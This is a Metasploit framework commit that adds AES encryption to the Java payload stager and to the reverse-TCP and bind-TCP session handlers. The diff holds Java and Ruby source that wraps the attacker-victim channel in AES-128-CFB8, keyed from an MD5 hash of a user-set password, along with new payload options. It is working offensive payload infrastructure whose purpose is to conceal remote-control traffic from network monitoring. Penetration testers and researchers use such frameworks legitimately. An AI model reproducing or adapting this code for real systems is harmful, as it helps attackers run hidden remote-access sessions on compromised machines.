Adding @schierlm 's AES encryption for Java

Tested with and without AES, works as advertised. Set an AESPassword,
get encryptification. Score.

Squashed commit of the following:

commit cca6c5c36ca51d585b8d2fd0840ba34776bc0668
Author: Michael Schierl <schierlm@gmx.de>
Date:   Wed Apr 4 00:45:24 2012 +0200

    Do not break other architectures
    even when using `setg AESPassword`

commit 422d1e341b3865b02591d4c135427903c8da8ac5
Author: Michael Schierl <schierlm@gmx.de>
Date:   Tue Apr 3 21:50:42 2012 +0200

    binaries

commit 27368b5675222cc1730ac22e4b7a387b88d0d2b3
Author: Michael Schierl <schierlm@gmx.de>
Date:   Tue Apr 3 21:49:10 2012 +0200

    Add AES support to Java stager

    This is compatible to the AES mode of the JavaPayload project.

    I'm pretty sure the way I did it in the handlers (Rex::Socket::tcp_socket_pair())
    is not the supposed way, but it works :-)
unstable
Michael Schierl 2012-06-11 16:13:25 -05:00 committed by Tod Beardsley
parent 026d84de00
commit 34ecc7fd18
8 changed files with 168 additions and 2 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,42 @@
package metasploit;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Utility class to enable AES encryption for stagers. This is in its own class
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
* it into the main {@link Payload} class would have made it impossible for
* other/older JREs to load it.
*/
public class AESEncryption {
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
DataInputStream din = new DataInputStream(in);
din.readInt(); // first class size 0 as marker in JavaPayload
SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16];
sr.nextBytes(outIV);
out.write(outIV);
out.flush();
byte[] inIV = new byte[16];
din.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
return new Object[] {
new CipherInputStream(din, ci),
new CipherOutputStream(out, co),
};
}
}

View File

@ -108,6 +108,9 @@ public class Payload extends ClassLoader {
if(props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
@ -207,6 +210,15 @@ public class Payload extends ClassLoader {
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];

View File

@ -146,7 +146,7 @@ module BindTcp
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
begin
handle_connection(client_copy)
handle_connection(wrap_aes_socket(client_copy))
rescue
elog("Exception raised from BindTcp.handle_connection: #{$!}")
end
@ -157,6 +157,53 @@ module BindTcp
}
end
def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
return sock
end
socks = Rex::Socket::tcp_socket_pair()
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)
m = OpenSSL::Digest::Digest.new('md5')
m.reset
key = m.digest(datastore["AESPassword"] || "")
Rex::ThreadFactory.spawn('AESEncryption', false) {
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}
Rex::ThreadFactory.spawn('AESEncryption', false) {
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}
return socks[1]
end
#
# Nothing to speak of.
#

View File

@ -161,7 +161,7 @@ module ReverseTcp
while true
client = self.handler_queue.pop
begin
handle_connection(client)
handle_connection(wrap_aes_socket(client))
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
end
@ -169,6 +169,51 @@ module ReverseTcp
}
end
def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
return sock
end
socks = Rex::Socket::tcp_socket_pair()
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)
m = OpenSSL::Digest::Digest.new('md5')
m.reset
key = m.digest(datastore["AESPassword"] || "")
Rex::ThreadFactory.spawn('AESEncryption', false) {
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}
Rex::ThreadFactory.spawn('AESEncryption', false) {
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}
return socks[1]
end
#
# Stops monitoring for an inbound connection.

View File

@ -38,6 +38,7 @@ module Metasploit3
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@ -49,6 +50,15 @@ module Metasploit3
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c

View File

@ -38,6 +38,7 @@ module Metasploit3
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@ -49,6 +50,15 @@ module Metasploit3
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]